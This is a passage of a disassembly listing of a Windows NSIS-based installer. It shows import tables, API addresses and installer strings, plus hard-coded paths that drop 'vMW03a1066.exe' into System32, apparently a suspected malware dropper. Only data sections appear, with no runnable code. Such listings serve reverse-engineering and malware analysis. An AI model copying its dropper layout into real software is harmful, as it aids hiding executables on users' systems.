dword_4071EC	dd 77D4B816h		; DATA XREF: sub_401439+76r
dword_4071F0	dd 77D47F34h		; DATA XREF: sub_401439+FCr
dword_4071F4	dd 77D4C96Ah		; DATA XREF: sub_401439+72Ar
					; sub_401439+A21r ...
dword_4071F8	dd 77D5C3E2h		; DATA XREF: sub_401439:loc_401C7Br
dword_4071FC	dd 77D651AFh		; DATA XREF: sub_401439+888r
dword_407200	dd 77D4DC11h		; DATA XREF: sub_403542+18Fr
					; sub_403542+267r
dword_407204	dd 77D4BBDBh		; DATA XREF: sub_403542+1A7r
dword_407208	dd 77D414D4h		; DATA XREF: sub_403542+1E0r
dword_40720C	dd 77D5D8BAh		; DATA XREF: sub_403542:loc_40377Cr
dword_407210	dd 77D650B3h		; DATA XREF: sub_403542+286r
dword_407214	dd 77D472ECh		; DATA XREF: start+D6r	sub_405513+Dr ...
dword_407218	dd 77D7BF7Ah		; DATA XREF: sub_404EBC+2C8r
dword_40721C	dd 77D902E3h		; DATA XREF: start+38Er
dword_407220	dd 77D45B19h		; DATA XREF: sub_401439+8A9r
dword_407224	dd 77D48AA8h		; DATA XREF: sub_401439+8CFr
					; sub_401439+8FFr ...
dword_407228	dd 77D49951h		; DATA XREF: sub_401439+8EEr
					; sub_4038DB+8Br ...
dword_40722C	dd 77D4D42Bh		; DATA XREF: sub_401439+92Dr
					; sub_403542+148r
dword_407230	dd 77D45F40h		; DATA XREF: sub_401439+95Cr
dword_407234	dd 77D4816Dh		; DATA XREF: sub_401439:loc_401E29r
					; sub_4038DB+2F6r ...
dword_407238	dd 77D4590Ch		; DATA XREF: sub_4028A8+81r
					; sub_4046C3+583r
dword_40723C	dd 77D4702Fh		; DATA XREF: sub_40136D+88r
					; sub_401439+85Ar ...
dword_407240	dd 77D46F5Bh		; DATA XREF: sub_401000:loc_40102Cr
dword_407244	dd 77D458EEh		; DATA XREF: sub_401000+47r
dword_407248	dd 77D45F23h		; DATA XREF: sub_401000+5Br
					; sub_401439+90Cr ...
dword_40724C	dd 77D463A6h		; DATA XREF: sub_401000:loc_4010E4r
dword_407250	dd 77D5C7A1h		; DATA XREF: sub_401148+Er
dword_407254	dd 77D458FDh		; DATA XREF: sub_401148:loc_40116Er
dword_407258	dd 77D47D27h		; DATA XREF: sub_401439+154r
					; sub_401439+9E5r ...
		align 10h
dword_407260	dd 77C015E3h		; DATA XREF: sub_406BF8r
dword_407264	dd 77C0162Dh		; DATA XREF: sub_406BF2r
dword_407268	dd 77C0167Dh		; DATA XREF: sub_406BECr
		align 10h
dword_407270	dd 771C8E66h		; DATA XREF: start+21r	sub_404E50+10r
dword_407274	dd 771F5164h		; DATA XREF: start+1D1r sub_404E50+5Cr
dword_407278	dd 771C1E56h		; DATA XREF: sub_4020D8+21r
		align 10h
aShlwapi_dll	db 'shlwapi.dll',0      ; DATA XREF: sub_404281+28o
aShautocomplete	db 'SHAutoComplete',0   ; DATA XREF: sub_404281+23o
		align 4
a_defaultContro	db '.DEFAULT\Control Panel\International',0 ; DATA XREF: sub_403542+62o
		align 4
aLocale		db 'Locale',0           ; DATA XREF: sub_403542+5Do
		align 4
aControlPanelDe	db 'Control Panel\Desktop\ResourceLocale',0 ; DATA XREF: sub_403542+45o
		align 4
aGetuserdefault	db 'GetUserDefaultUILanguage',0 ; DATA XREF: sub_403542+Do
		align 10h
aD		db '%d',0               ; DATA XREF: sub_405939+4o
		align 4
byte_407314	db 10h			; DATA XREF: sub_405DB9+3C0r
					; sub_405DB9+3E7r
		db 11h,	12h, 0
		dd 6090708h, 40B050Ah, 20D030Ch, 0F010Eh
dword_407328	dd 40003h, 60005h, 80007h, 0A0009h, 0D000Bh, 11000Fh, 170013h
					; DATA XREF: sub_405DB9+162o
					; sub_405DB9+5C5o
		dd 1F001Bh, 2B0023h, 3B0033h, 530043h, 730063h,	0A30083h
		dd 0E300C3h, 102h, 0
dword_407368	dd 4 dup(0)		; DATA XREF: sub_405DB9+15Do
					; sub_405DB9+5C0o
		dd 2 dup(10001h), 2 dup(20002h), 2 dup(30003h),	2 dup(40004h)
		dd 2 dup(50005h), 700000h, 70h
dword_4073A8	dd 20001h, 40003h, 70005h, 0D0009h, 190011h, 310021h, 610041h
					; DATA XREF: sub_405DB9+197o
					; sub_405DB9+605o
		dd 0C10081h, 1810101h, 3010201h, 6010401h, 0C010801h, 18011001h
		dd 30012001h, 60014001h
dword_4073E4	dd 2 dup(0)		; DATA XREF: sub_405DB9+192o
					; sub_405DB9+600o
		dd 10001h, 20002h, 30003h, 40004h, 50005h, 60006h, 70007h
		dd 80008h, 90009h, 0A000Ah, 0B000Bh, 0C000Ch, 0D000Dh
dword_407420	dd 214EEh, 0		; DATA XREF: sub_4020D8+14o
		dd 0C0h, 46000000h
dword_407430	dd 21401h, 0		; DATA XREF: sub_4020D8+1Co
		dd 0C0h, 46000000h
dword_407440	dd 10Bh, 0		; DATA XREF: sub_4020D8+36o
		dd 0C0h, 46000000h, 7564h, 2 dup(0)
		dd 7B6Eh, 7060h, 7670h,	2 dup(0)
		dd 7F48h, 716Ch, 7540h,	2 dup(0)
		dd 7FDAh, 703Ch, 7650h,	2 dup(0)
		dd 8074h, 714Ch, 7504h,	2 dup(0)
		dd 8116h, 7000h, 752Ch,	2 dup(0)
		dd 8162h, 7028h, 7774h,	2 dup(0)
		dd 81A6h, 7270h, 7764h,	2 dup(0)
		dd 81F2h, 7260h, 5 dup(0)
		dd 809Eh, 80B2h, 8090h,	8080h, 8106h, 80F6h, 80E4h, 80D6h
		dd 80C4h, 0
		dd 8138h, 8124h, 80000011h, 814Eh, 0
		dd 7FCCh, 7FBCh, 7FACh,	7F96h, 7F80h, 7F74h, 7F64h, 7F54h
		dd 0
		dd 792Eh, 793Ch, 794Ah,	795Ch, 796Ah, 797Eh, 7992h, 799Eh
		dd 79B6h, 79CCh, 79DCh,	79F0h, 7A06h, 7A0Eh, 7A1Ch, 7A32h
		dd 7A42h, 7922h, 7A62h,	7A70h, 7A82h, 7A9Ah, 7AAAh, 7AB6h
		dd 7ACAh, 7ADAh, 7AE8h,	7AF8h, 7B0Ah, 7B1Eh, 7B2Ch, 7B40h
		dd 7B4Ch, 7B58h, 7916h,	78FCh, 78E0h, 78D2h, 78C4h, 78AEh
		dd 7898h, 7888h, 7874h,	7864h, 7852h, 7844h, 782Eh, 7810h
		dd 77F4h, 77E8h, 77DCh,	7784h, 77CAh, 77BEh, 77AEh, 779Ch
		dd 778Eh, 7A56h, 0
		dd 8048h, 8030h, 801Ah,	8008h, 7FF8h, 7FE4h, 8056h, 0
		dd 7D76h, 7D88h, 7D98h,	7DA8h, 7DBAh, 7DCAh, 7DD8h, 7DEAh
		dd 7DF6h, 7E04h, 7E16h,	7E26h, 7E34h, 7E46h, 7E58h, 7E6Ah
		dd 7E7Eh, 7E90h, 7D6Ah,	7EB2h, 7EC0h, 7ED2h, 7EE6h, 7EF8h
		dd 7F0Ah, 7F18h, 7F24h,	7F38h, 7CDAh, 7CCAh, 7CBEh, 7CACh
		dd 7C9Ah, 7C84h, 7C6Ah,	7C54h, 7C44h, 7D58h, 7D40h, 7D2Eh
		dd 7D1Eh, 7D0Ch, 7D00h,	7EA0h, 7CF0h, 7C38h, 7C2Ah, 7C18h
		dd 7C0Ah, 7C02h, 7BF2h,	7BE0h, 7BD0h, 7BBEh, 7BB0h, 7BA0h
		dd 7B94h, 7B88h, 7B7Ch,	7C76h, 0
		dd 81D8h, 81C2h, 81B0h,	0
		dd 8196h, 8184h, 8170h,	0
		db  6Ah	; j
		db 2, 4Dh, 75h
aLdiv		db 'lDiv',0
		align 2
		db '|',0
aDeletefilea	db 'DeleteFileA',0
		db 'É',0
aFindfirstfilea	db 'FindFirstFileA',0
		align 2
		db 'Ó',0
aFindnextfilea	db 'FindNextFileA',0
		db 'Å',0
aFindclose	db 'FindClose',0
		dw 310h
aSetfilepointer	db 'SetFilePointer',0
		align 4
		db 0ABh	; «
		db 2, 52h, 65h
aAdfile		db 'adFile',0
		align 4
		db  97h	; —
		db 3, 57h, 72h
aItefile	db 'iteFile',0
		db  94h	; ”
		db 1, 47h, 65h
aTprivateprofil	db 'tPrivateProfileStringA',0
		align 10h
		db  9Ch	; œ
		db 3, 57h, 72h
aIteprivateprof	db 'itePrivateProfileStringA',0
		align 2
		dw 26Bh
aMultibytetowid	db 'MultiByteToWideChar',0
aQ		db 'ï',0
aFreelibrary	db 'FreeLibrary',0
		dw 198h
aGetprocaddress	db 'GetProcAddress',0
		align 4
		db  48h	; H
		db 2, 4Ch, 6Fh
aAdlibrarya	db 'adLibraryA',0
		align 4
		db  77h	; w
		db 1, 47h, 65h
aTmodulehandlea	db 'tModuleHandleA',0
		align 4
		db  0Ah
		db 3, 53h, 65h
aTerrormode	db 'tErrorMode',0
		align 4
		db  52h	; R
		db 1, 47h, 65h
aTexitcodeproce	db 'tExitCodeProcess',0
		align 2
		dw 385h
aWaitforsingleo	db 'WaitForSingleObject',0
		db 0EEh	; î
		db 1, 47h, 6Ch
aObalalloc	db 'obalAlloc',0
		dw 1F5h
aGlobalfree	db 'GlobalFree',0
		align 10h
		db '²',0
aExpandenvironm	db 'ExpandEnvironmentStringsA',0
		db  50h	; P
		db 1, 47h, 65h
aTenvironmentva	db 'tEnvironmentVariableA',0
		dw 3B3h
aLstrcmpa	db 'lstrcmpA',0
		align 2
		dw 3B6h
aLstrcmpia	db 'lstrcmpiA',0
a__0		db '.',0
aClosehandle	db 'CloseHandle',0
		dd 65530314h, 6C694674h, 6D695465h, 330065h, 706D6F43h
		dd 46657261h, 54656C69h, 656D69h, 655302D0h, 68637261h
		dd 68746150h, 1AD0041h
aGetshortpathna	db 'GetShortPathNameA',0
		dw 161h
aGetfullpathnam	db 'GetFullPathNameA',0
		align 2
		dw 264h
aMovefilea	db 'MoveFileA',0
		dw 2FFh
aSetcurrentdire	db 'SetCurrentDirectoryA',0
		align 2
		dw 156h
aGetfileattribu	db 'GetFileAttributesA',0
		align 4
		dd 65470169h, 73614C74h, 72724574h, 726Fh, 72430045h, 65746165h
		dd 65726944h, 726F7463h, 4179h,	6553030Eh, 6C694674h, 74744165h
		dd 75626972h, 41736574h, 3490000h, 65656C53h, 15B0070h
		dd 46746547h, 53656C69h, 657A69h, 65470175h, 646F4D74h
		dd 46656C75h, 4E656C69h, 41656D61h, 1D50000h, 54746547h
		dd 436B6369h, 746E756Fh, 13A0000h, 43746547h, 65727275h
		dd 7250746Eh, 7365636Fh, 3D0073h, 79706F43h, 656C6946h
		dd 0AF0041h, 74697845h,	636F7250h, 737365h, 65470108h
		dd 6D6F4374h, 646E616Dh, 656E694Ch, 1E90041h, 57746547h
		dd 6F646E69h, 69447377h, 74636572h, 4179726Fh, 1CB0000h
		dd 54746547h, 50706D65h, 41687461h, 3BC0000h, 7274736Ch
		dd 6E797063h, 1450041h,	44746547h, 466B7369h, 53656572h
		dd 65636170h, 2000041h,	626F6C47h, 6E556C61h, 6B636F6Ch
		dd 1F90000h, 626F6C47h,	6F4C6C61h, 6B63h, 72430069h, 65746165h
		dd 65726854h, 6461h, 72430060h,	65746165h, 636F7250h, 41737365h
		dd 2BA0000h, 6F6D6552h,	69446576h, 74636572h, 4179726Fh
		dd 4D0000h, 61657243h, 69466574h, 41656Ch, 654701C9h, 6D655474h
		dd 6C694670h, 6D614E65h, 4165h,	736C03BFh, 656C7274h, 416Eh
		dd 736C03B0h, 61637274h, 4174h,	654701B9h, 73795374h, 446D6574h
		dd 63657269h, 79726F74h, 454B0041h, 4C454E52h, 642E3233h
		dd 6C6Ch, 6E4500C8h, 69615064h,	746Eh, 724400BCh, 65547761h
		dd 417478h, 694600E2h, 65526C6Ch, 7463h, 654700FFh, 696C4374h
		dd 52746E65h, 746365h, 6542000Dh, 506E6967h, 746E6961h
		dd 8E0000h, 57666544h, 6F646E69h, 6F725077h, 4163h, 6553023Ah
		dd 654D646Eh, 67617373h, 4165h,	6E490193h, 696C6176h, 65746164h
		dd 74636552h, 0C40000h,	62616E45h, 6957656Ch, 776F646Eh
		dd 10C0000h, 44746547h,	1BF0043h, 64616F4Ch, 67616D49h
		dd 4165h, 6553027Fh, 6E695774h,	4C776F64h, 41676E6Fh, 1110000h
		dd 44746547h, 7449676Ch, 6D65h,	734901ADh, 646E6957h, 776Fh
		dd 694600E4h, 6957646Eh, 776F646Eh, 417845h, 6553023Dh
		dd 654D646Eh, 67617373h, 6D695465h, 74756F65h, 2D50041h
		dd 72707377h, 66746E69h, 2910041h, 776F6853h, 646E6957h
		dd 776Fh, 65530256h, 726F4674h,	6F726765h, 57646E75h, 6F646E69h
		dd 2030077h, 74736F50h,	74697551h, 7373654Dh, 656761h
		dd 65530285h, 6E695774h, 54776F64h, 41747865h, 2790000h
		dd 54746553h, 72656D69h, 990000h, 74736544h, 57796F72h
		dd 6F646E69h, 550077h, 61657243h, 69446574h, 676F6C61h
		dd 61726150h, 416Dh, 784500E1h,	69577469h, 776F646Eh, 784573h
		dd 6843002Ah, 654E7261h, 417478h, 6944009Eh, 676F6C61h
		dd 50786F42h, 6D617261h, 0F60041h, 43746547h, 7373616Ch
		dd 6F666E49h, 600041h, 61657243h, 69576574h, 776F646Eh
		dd 417845h, 79530298h, 6D657473h, 61726150h, 6574656Dh
		dd 6E497372h, 416F66h, 65520215h, 74736967h, 6C437265h
		dd 41737361h, 0C60000h,	44646E45h, 6F6C6169h, 2300067h
		dd 65726353h, 6F546E65h, 65696C43h, 746Eh, 65470174h, 6E695774h
		dd 52776F64h, 746365h, 65530246h, 616C4374h, 6F4C7373h
		dd 41676Eh, 734901AEh, 646E6957h, 6E45776Fh, 656C6261h
		dd 2820064h, 57746553h,	6F646E69h, 736F5077h, 15A0000h
		dd 53746547h, 6F437379h, 726F6Ch, 6547016Eh, 6E695774h
		dd 4C776F64h, 41676E6Fh, 24C0000h, 43746553h, 6F737275h
		dd 1B90072h, 64616F4Ch,	73727543h, 41726Fh, 68430038h
		dd 446B6365h, 7542676Ch, 6E6F7474h, 13C0000h, 4D746547h
		dd 61737365h, 6F506567h, 1B70073h, 64616F4Ch, 6D746942h
		dd 417061h, 6143001Bh, 69576C6Ch, 776F646Eh, 636F7250h
		dd 1B10041h, 69577349h,	776F646Eh, 69736956h, 656C62h
		dd 6C430042h, 4365736Fh, 6270696Ch, 6472616Fh, 2490000h
		dd 43746553h, 6270696Ch, 6472616Fh, 61746144h, 0C10000h
		dd 74706D45h, 696C4379h, 616F6270h, 6472h, 704F01F5h, 6C436E65h
		dd 6F627069h, 647261h, 725402A3h, 506B6361h, 7075706Fh
		dd 756E654Dh, 80000h, 65707041h, 654D646Eh, 41756Eh, 7243005Eh
		dd 65746165h, 75706F50h, 6E654D70h, 15D0075h, 53746547h
		dd 65747379h, 74654D6Dh, 73636972h, 2520000h, 44746553h
		dd 7449676Ch, 65546D65h, 417478h, 65470113h, 676C4474h
		dd 6D657449h, 74786554h, 1DE0041h, 7373654Dh, 42656761h
		dd 41786Fh, 6843002Dh, 72507261h, 417665h, 694400A1h, 74617073h
		dd 654D6863h, 67617373h, 4165h,	655001FFh, 654D6B65h, 67617373h
		dd 4165h, 52455355h, 642E3233h,	6C6Ch, 6553020Eh, 7463656Ch
		dd 656A624Fh, 7463h, 6553023Ch,	78655474h, 6C6F4374h, 726Fh
		dd 65530216h, 4D6B4274h, 65646Fh, 7243003Ah, 65746165h
		dd 746E6F46h, 69646E49h, 74636572h, 290041h, 61657243h
		dd 72426574h, 49687375h, 7269646Eh, 746365h, 6544008Fh
		dd 6574656Ch, 656A624Fh, 7463h,	6547016Bh, 76654474h, 43656369h
		dd 737061h, 65530215h, 436B4274h, 726F6C6Fh, 44470000h
		dd 2E323349h, 6C6C64h, 4853009Ah, 656C6946h, 7265704Fh
		dd 6F697461h, 416Eh, 68530107h,	456C6C65h, 75636578h, 416574h
		dd 485300ACh, 46746547h, 49656C69h, 416F666Eh, 790000h
		dd 72424853h, 6573776Fh, 46726F46h, 65646C6Fh, 4172h, 485300BCh
		dd 50746547h, 46687461h, 496D6F72h, 73694C44h, 4174h, 485300B7h
		dd 4D746547h, 6F6C6C61h, 0C30063h, 65474853h, 65705374h
		dd 6C616963h, 646C6F46h, 6F4C7265h, 69746163h, 6E6Fh, 4C454853h
		dd 2E32334Ch, 6C6C64h, 655201D9h, 756E4567h, 6C61566Dh
		dd 416575h, 655201D5h, 756E4567h, 79654B6Dh, 1EC0041h
		dd 51676552h, 79726575h, 756C6156h, 41784565h, 1F90000h
		dd 53676552h, 61567465h, 4565756Ch, 4178h, 655201CDh, 65724367h
		dd 4B657461h, 78457965h, 1C90041h, 43676552h, 65736F6Ch
		dd 79654Bh, 655201D2h, 6C654467h, 56657465h, 65756C61h
		dd 1D00041h, 44676552h,	74656C65h, 79654B65h, 1E20041h
		dd 4F676552h, 4B6E6570h, 78457965h, 44410041h, 49504156h
		dd 642E3233h, 6C6Ch, 6D490038h,	4C656761h, 5F747369h, 74736544h
		dd 796F72h, 6D490034h, 4C656761h, 5F747369h, 4D646441h
		dd 656B7361h, 370064h, 67616D49h, 73694C65h, 72435F74h
		dd 65746165h, 4F430000h, 4C54434Dh, 642E3233h, 6C6Ch, 6F430010h
		dd 61657243h, 6E496574h, 6E617473h, 6563h, 6C4F0104h, 696E5565h
		dd 6974696Eh, 7A696C61h, 0ED0065h, 49656C4Fh, 6974696Eh
		dd 7A696C61h, 6C6F0065h, 2E323365h, 6C6C64h, 6556000Ah
		dd 65755172h, 61567972h, 4165756Ch, 0
aGetfileversion	db 'GetFileVersionInfoA',0
		db    1
		align 2
aGetfileversi_0	db 'GetFileVersionInfoSizeA',0
aVersion_dll	db 'VERSION.dll',0
_rdata		ends

; Section 3. (virtual address 00009000)
; Virtual size			: 000264D4 ( 156884.)
; Section size in file		: 000264D4 ( 156884.)
; Offset to raw	data for section: 00009000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
_data		segment	para public 'DATA' use32
		assume cs:_data
		;org 409000h
off_409000	dd offset dword_42F4A0	; DATA XREF: sub_40204C:loc_402059o
		dd offset sub_40136D
		dd offset sub_405C17
dword_40900C	dd 6			; DATA XREF: sub_401439+AFr
					; sub_401439:loc_401502w
dword_409010	dd 5Ch			; DATA XREF: sub_401FA4+4o
					; sub_40531D:loc_405392o ...
aSS		db '%s %s',0            ; DATA XREF: sub_401439+A15o
		align 4
asc_40901C	db '->',0               ; DATA XREF: sub_401439+270o
		align 10h
dword_409020	dd 98h			; DATA XREF: sub_402C37:loc_402C85w
					; sub_4030E9+11r ...
		align 8
aTheInstallerYo	db 'The installer you are trying to use is corrupted or incomplete.',0Ah
					; DATA XREF: sub_402C37:loc_402E42o
		db 'This could be the result of a damaged disk, a failed download or '
		db 'a virus.',0Ah
		db 0Ah
		db 'You may want to contact the author of this installer to obtain a '
		db 'new copy.',0Ah
		db 0Ah
		db 'It may be possible to skip this check using the /NCRC command lin'
		db 'e switch',0Ah
		db '(NOT RECOMMENDED).',0
aVerifyingInsta	db 'verifying installer: %d%%',0 ; DATA XREF: sub_402C37+152o
		align 4
aErrorLaunching	db 'Error launching installer',0 ; DATA XREF: sub_402C37+56o
					; start+18Do
		align 4
a___D		db '... %d%%',0         ; DATA XREF: sub_402EBD+141o
		align 10h
aAu__exe	db 'Au_.exe',0          ; DATA XREF: start+225o
					; start:loc_403450w
aSeshutdownpriv	db 'SeShutdownPrivilege',0 ; DATA XREF: start+364o
aAdjusttokenpri	db 'AdjustTokenPrivileges',0 ; DATA XREF: start+32Eo
		align 4
aLookupprivileg	db 'LookupPrivilegeValueA',0 ; DATA XREF: start+321o
		align 4
aOpenprocesstok	db 'OpenProcessToken',0 ; DATA XREF: start+316o
		align 10h
aAdvapi32_dll	db 'ADVAPI32.dll',0     ; DATA XREF: start+311o
		align 10h
a_?		db ' _?=',0             ; DATA XREF: start+2BEo
		align 4
asc_409218	db '" ',0               ; DATA XREF: start:loc_40340Fo
		align 4
aNsu_tmp	db '~nsu.tmp\',0        ; DATA XREF: start:loc_403358o
		align 4
aTemp		db '\Temp',0            ; DATA XREF: start+78o
		align 10h
aNsisError	db 'NSIS Error',0       ; DATA XREF: start+43o
		align 10h
aErrorWritingTe	db 'Error writing temporary file. Make sure your temp folder is valid'
					; DATA XREF: start+10o
		db '.',0
		align 4
dword_409284	dd 0FFFFFFFFh		; DATA XREF: sub_4038DB+A4r
					; sub_4038DB+120r ...
off_409288	dd offset sub_403F0B	; DATA XREF: sub_4038DB+3D4r
		dd offset sub_4046C3
		dd offset sub_404201
		dd offset sub_404EBC
		dd offset sub_4041BA
dword_40929C	dd 0FFFFFFFFh		; DATA XREF: sub_404CBD+2Fw
					; sub_404CBD+6Ar ...
dword_4092A0	dd 6			; DATA XREF: sub_401439+B4w
					; sub_401439:loc_4014F7r ...
aRichedit20a	db 'RichEdit20A',0      ; DATA XREF: sub_403542+240o
					; sub_403542+251w ...
aRiched20_dll	db 'RichEd20.dll',0     ; DATA XREF: sub_403542+222o
					; sub_403542+22Fw
		align 10h
a_exe		db '.exe',0             ; DATA XREF: sub_403542+EEo
		align 4
aKernel32_dll	db 'KERNEL32.dll',0     ; DATA XREF: sub_403542+12o
					; sub_404281+169o ...
		align 4
aOpen		db 'open',0             ; DATA XREF: sub_403F0B+207o
		align 10h
aGetdiskfreespa	db 'GetDiskFreeSpaceExA',0 ; DATA XREF: sub_404281:loc_4043E5o
aU_USS		db '%u.%u%s%s',0        ; DATA XREF: sub_404561+78o
		align 10h
a_		db '\*.*',0             ; DATA XREF: sub_40531D+62o
		align 4
asc_409308	db 0Ah			; DATA XREF: sub_405723+182o
		db '[',0
		align 4
aRename		db '[Rename]',0Dh,0Ah,0 ; DATA XREF: sub_405723+116o
					; sub_405723+128o
		align 4
aWininit_ini	db '\wininit.ini',0     ; DATA XREF: sub_405723+B0o
		align 4
aSS_0		db '%s=%s',0Dh,0Ah,0    ; DATA XREF: sub_405723+8Fo
aMovefileexa	db 'MoveFileExA',0      ; DATA XREF: sub_405723+4o
aCProgramFiles	db 'C:\Program Files',0 ; DATA XREF: sub_4059FD+F7o
		align 10h
aProgramfilesdi	db 'ProgramFilesDir',0  ; DATA XREF: sub_4059FD+DAo
aSoftwareMicros	db 'Software\Microsoft\Windows\CurrentVersion',0 ; DATA XREF: sub_4059FD+C3o
					; sub_4059FD+DFo
		align 4
aCommonfilesdir	db 'CommonFilesDir',0   ; DATA XREF: sub_4059FD+BEo
		align 4
aMicrosoftInter	db '\Microsoft\Internet Explorer\Quick Launch',0 ; DATA XREF: sub_4059FD+ACo
		align 4
a?		db '*?|<>/":',0         ; DATA XREF: sub_405C17+48o
		align 4
word_4093D4	dw 0			; DATA XREF: sub_405DB9+47Cr
					; sub_405DB9+501r ...
		dw 1
		dd 70003h, 1F000Fh, 7F003Fh, 1FF00FFh, 7FF03FFh, 1FFF0FFFh
		dd 7FFF3FFFh, 0FFFFh
byte_4093F8	db 9			; DATA XREF: sub_405DB9+153o
					; sub_405DB9:loc_405F69r
		align 4
byte_4093FC	db 5			; DATA XREF: sub_405DB9+188o
					; sub_405DB9+1B8r
		align 10h
dword_409400	dd 0			; DATA XREF: sub_401439+97Cw
					; sub_401439+9BFo
		align 10h
dword_409410	dd 0			; DATA XREF: sub_401439+986w
byte_409414	db 0			; DATA XREF: sub_401439+99Dw
byte_409415	db 0			; DATA XREF: sub_401439+9AFw
byte_409416	db 0			; DATA XREF: sub_401439+9B5w
byte_409417	db 0			; DATA XREF: sub_401439+996w
		dd 0
dword_40941C	dd 8 dup(0)		; DATA XREF: sub_401439+9AAo
dword_40943C	dd 12FDC0h		; DATA XREF: sub_401439+3Ew
					; sub_402A7D+4r ...
word_409440	dw 0			; DATA XREF: sub_4020D8+C4o
					; sub_4020D8+D4w
		align 4
		dd 1FFh	dup(0)
aCWindowsSyst_1	db 'C:\WINDOWS\System32\vMW03a\vMW03a1066.exe',0
					; DATA XREF: sub_401439+380o
					; sub_401439+75Fo ...
		align 4
		dd 0F5h	dup(0)
aCWindowsSystem	db 'C:\WINDOWS\System32\vMW03a',0 ; DATA XREF: sub_401428o
					; sub_401439+246o ...
		align 4
		dd 0F9h	dup(0)
dword_40A440	dd 0			; DATA XREF: sub_401439+3AEo
					; sub_4021F6+31o ...
		dd 0FFh	dup(0)
aVmw03a1066_exe	db 'vMW03a1066.exe',0
		align 10h
		dd 1FCh	dup(0)
dword_40B040	dd 0			; DATA XREF: sub_401439+73Br
					; sub_401439+76Br ...
		align 8
dword_40B048	dd 0			; DATA XREF: sub_402BAB+2Cw
					; sub_402BAB+57r
		align 10h
off_40B050	dd offset byte_416CE1	; DATA XREF: sub_402EBD+D4w
					; sub_402EBD+E6o
dword_40B054	dd 0			; DATA XREF: sub_402EBD+DAw
off_40B058	dd offset dword_420C58	; DATA XREF: sub_402EBD+EBw
					; sub_402EBD+106r ...
dword_40B05C	dd 0			; DATA XREF: sub_402EBD+F1w
dword_40B060	dd 0Fh			; DATA XREF: sub_402EBD+86w
		align 8
		dd offset dword_40BF30
		dd 4, 609h, 40B580h, 40BF70h, 8, 0Ah, 2	dup(9),	8, 3 dup(9)
		dd 8, 0Ah, 2 dup(9), 8,	9, 0Ah,	9, 2 dup(8), 9,	0Bh, 9
		dd 2 dup(0Ah), 9, 8, 9,	0Ah, 9,	8, 9, 0Dh, 2 dup(9), 0Ch
		dd 0Bh,	0Ah, 8,	2 dup(0Ah), 0Bh, 9, 0Ah, 2 dup(9), 8, 2	dup(9)
		dd 8, 3	dup(9),	0Ah, 2 dup(9), 2 dup(0Ah), 2 dup(9), 0Ah
		dd 8, 7, 9, 3 dup(8), 7, 9, 0Bh, 2 dup(8), 9, 0Ah, 8, 7
		dd 9, 8, 7, 8, 7, 5 dup(8), 9, 3 dup(0Ah), 8, 9, 0Ah, 8
		dd 9, 8, 9, 8, 7, 6, 2 dup(8), 7, 2 dup(8), 0Ah, 8, 9
		dd 2 dup(8), 7,	9, 7, 6, 7, 8, 2 dup(9), 8, 0Ah, 0Bh, 0Ah
		dd 9, 8, 0Ah, 9, 8, 0Bh, 0Ch, 3	dup(9),	2 dup(0Bh), 8
		dd 6, 0Ah, 7, 9, 7, 0Ah, 0Ch, 2	dup(9),	2 dup(0Ah), 2 dup(9)
		dd 0
		dd 0Bh,	9, 3 dup(0Bh), 3 dup(0Ah), 0Ch,	9, 2 dup(0Bh)
		dd 0
		dd 9, 3	dup(0Bh), 8, 0Ch, 2 dup(0Bh), 0Ah, 3 dup(0Ch)
		dd 8, 0Ch, 0Dh,	0Ch, 2 dup(9), 0Bh, 0Ah, 8, 0Ch, 9, 0Bh
		dd 9, 0Ah, 2 dup(0Bh), 8, 0Ah, 0Bh, 9, 2 dup(0Ah), 0Bh
		dd 2 dup(9), 0
		dd 0Bh,	0Ch, 8,	0Bh, 0Ch, 0Ah, 8, 0Bh, 0Ch, 9, 8, 0Dh
		dd 2 dup(9), 8,	2 dup(0Ch), 0Ah, 8, 2 dup(0Ch),	0Dh, 8
		dd 0Dh,	2 dup(0Bh), 9, 0Ch, 0Ah, 0Dh, 8, 0Ah, 0Bh, 2 dup(9)
		dd 0Bh,	0Ah, 0Bh, 8, 0Bh, 0Dh, 0Ch, 9, 0Ch, 0Ah, 9, 8
		dd 0Ah,	0Bh, 0Ah, 8, 2 dup(0Ah), 7, 0Ch, 3, 2 dup(4), 5
		dd 3 dup(6), 8,	6, 7, 5	dup(8),	2 dup(9), 0Bh, 0Ch, 0Ah
		dd 2 dup(0Bh), 0Ah, 0Dh, 0Ch, 3	dup(0)
		dd 7, 5, 7, 9, 4, 5, 6,	3 dup(5), 6, 4,	3 dup(5), 3 dup(4)
		dd 5, 4, 3 dup(5), 4, 2	dup(5),	6, 5, 8, 5, 9, 4 dup(0)
		dd 7, 0
		dd 0Fh
dword_40B578	dd 6			; DATA XREF: sub_402EBD+70w
dword_40B57C	dd 0			; DATA XREF: sub_402EBD+69w
		dd 30350h, 740700h, 500h, 0F00800h, 40450h, 530800h, 80650h
		dd 840900h, 30350h, 140800h, 650600h, 1D0900h, 50450h
		dd 750800h, 450700h, 1FB0901h, 30350h, 0D0751h,	60550h
		dd 1B0852h, 40450h, 630800h, 0B0651h, 0C80900h,	30350h
		dd 420800h, 890600h, 3D0900h, 50450h, 0C00800h,	640700h
		dd 20B0901h, 30350h, 8D0700h, 500h, 0F0851h, 40450h, 570800h
		dd 90650h, 0A00900h, 30350h, 280800h, 730600h, 310900h
		dd 50450h, 880800h, 500700h, 1EB0901h, 30350h, 40800h
		dd 60550h, 0B0900h, 40450h, 6A0800h, 10700h, 0F70900h
		dd 30350h, 490800h, 70650h, 620900h, 50450h, 0D80800h
		dd 700700h, 2050902h, 30350h, 8B0700h, 500h, 0FC0800h
		dd 40450h, 550800h, 80650h, 910900h, 30350h, 1C0800h, 650600h
		dd 240900h, 50450h, 7D0800h, 4D0700h, 1C30901h,	30350h
		dd 1020750h, 60550h, 60900h, 40450h, 670800h, 0B0651h
		dd 0E40900h, 30350h, 440800h, 890600h, 4E0900h,	50450h
		dd 0D00800h, 680700h, 1D50902h,	30350h,	0FF0700h, 500h
		dd 130852h, 40450h, 5F0800h, 90650h, 0BA0900h, 30350h
		dd 330800h, 730600h, 360900h, 50450h, 0B00800h,	520700h
		dd 1B30901h, 30350h, 0C0800h, 60550h, 130900h, 40450h
		dd 6E0800h, 400700h, 18B0901h, 30350h, 4F0800h,	70650h
		dd 770900h, 50450h, 0E00800h, 720700h, 1D50903h, 30350h
		dd 740700h, 500h, 0F80800h, 40450h, 540800h, 80650h, 8C0900h
		dd 30350h, 150800h, 650600h, 210900h, 50450h, 780800h
